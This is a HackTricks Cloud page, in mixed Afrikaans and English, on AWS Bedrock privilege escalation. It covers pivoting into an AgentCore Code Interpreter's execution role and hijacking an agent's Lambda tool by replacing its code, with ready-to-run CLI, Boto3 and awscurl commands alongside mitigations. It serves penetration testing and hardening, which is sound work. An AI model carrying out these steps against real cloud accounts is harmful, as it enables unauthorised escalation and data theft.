AWS - Bedrock PrivEsc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter is a managed execution environment. Custom Code Interpreters can be configured with an executionRoleArn that “provides permissions for the code interpreter to access AWS services”.
If a lower-privileged IAM principal can start + invoke a Code Interpreter session that is configured with a more privileged execution role, the caller can effectively pivot into the execution role’s permissions (lateral movement / privilege escalation depending on role scope).
Note
This is typically a misconfiguration / excessive permissions issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access). AWS explicitly warns to avoid privilege escalation by ensuring execution roles have equal or fewer privileges than identities allowed to invoke.
Preconditions (common misconfiguration)
- A custom code interpreter exists with an over-privileged execution role (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities).
- A user (developer/auditor/CI identity) has permissions to:
- start sessions:
bedrock-agentcore:StartCodeInterpreterSession - invoke tools:
bedrock-agentcore:InvokeCodeInterpreter - (Optional) The user can also create interpreters:
bedrock-agentcore:CreateCodeInterpreter(laat hulle toe om ’n nuwe interpreter te skep wat met ’n execution role gekonfigureer is, afhangend van org guardrails).
Rekonnaissance (identifiseer custom interpreters en execution role usage)
Lys interpreters (control-plane) en inspekteer hul konfigurasie:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
Die create-code-interpreter command ondersteun
--execution-role-arnwat definieer watter AWS permissions die interpreter sal hê.
Stap 1 - Begin ’n session (dit gee ’n sessionId terug, nie ’n interaktiewe shell nie)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Stap 2 - Invoke code execution (Boto3 of getekende HTTPS)
Daar is geen interaktiewe python shell vanaf start-code-interpreter-session. Execution gebeur via InvokeCodeInterpreter.
Opsie A - Boto3 voorbeeld (execute Python + verify identity):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
As die interpreter gekonfigureer is met ’n execution role, moet die sts:GetCallerIdentity()-uitset daardie role se identiteit weerspieël (nie die lae-priv caller nie), wat die pivot demonstreer.
Opsie B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Impak
- Laterale beweging na enige AWS-toegang wat die interpreter execution role het.
- Privilege escalation as die interpreter execution role meer geprivilege is as die caller.
- Moeiliker opsporing as CloudTrail data events vir interpreter invocations nie geaktiveer is nie (invocations mag dalk nie by verstek gelog word nie, afhangende van konfigurasie).
Mitigations / Hardening
- Least privilege op die interpreter
executionRoleArn(behandel dit soos Lambda execution roles / CI roles). - Beperk wie kan invoke (
bedrock-agentcore:InvokeCodeInterpreter) en wie sessions kan begin. - Gebruik SCPs om InvokeCodeInterpreter te deny behalwe vir goedgekeurde agent runtime roles (org-level enforcement kan nodig wees).
- Aktiveer toepaslike CloudTrail data events vir AgentCore waar van toepassing; alert op onverwachte invocations en session creation.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Bedrock Agents kan Lambda-backed action groups as tools gebruik (external execution). As ’n principal die code van ’n Lambda function wat deur ’n agent gebruik word, kan modify, en dan die agent kan invoke, kan hulle attacker-controlled code uitvoer onder die Lambda execution role.
Note
Dit is ’n cross-service trust abuse (Bedrock → Lambda), nie ’n vulnerability nie. Die attacker mag dalk nie die Lambda direk kan invoke nie, maar kan dit steeds via die agent trigger.
Preconditions (common misconfiguration)
- ’n Bedrock Agent bestaan met ’n action group backed by a Lambda function
- Die attacker het:
lambda:UpdateFunctionCodebedrock:InvokeAgent- Die Lambda execution role het breër permissions as die attacker
- Die attacker kan die Lambda identifiseer wat deur die agent gebruik word
Recon
Inventory agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Inspekteer Lambda:
aws lambda get-function --function-name <FUNCTION_NAME>
Exploitation
Vervang Lambda-kode:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Voorbeeld payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Trigger via agent:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Impak
- Privilege escalation na Lambda execution role
- Data exfiltration vanaf AWS services
- Cross-service abuse via trusted agent execution
Mitigasies
- Restrict
lambda:UpdateFunctionCode - Gebruik least-privilege Lambda roles
- Monitor Lambda code changes
- Audit Bedrock agent tool usage
Verwysings
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

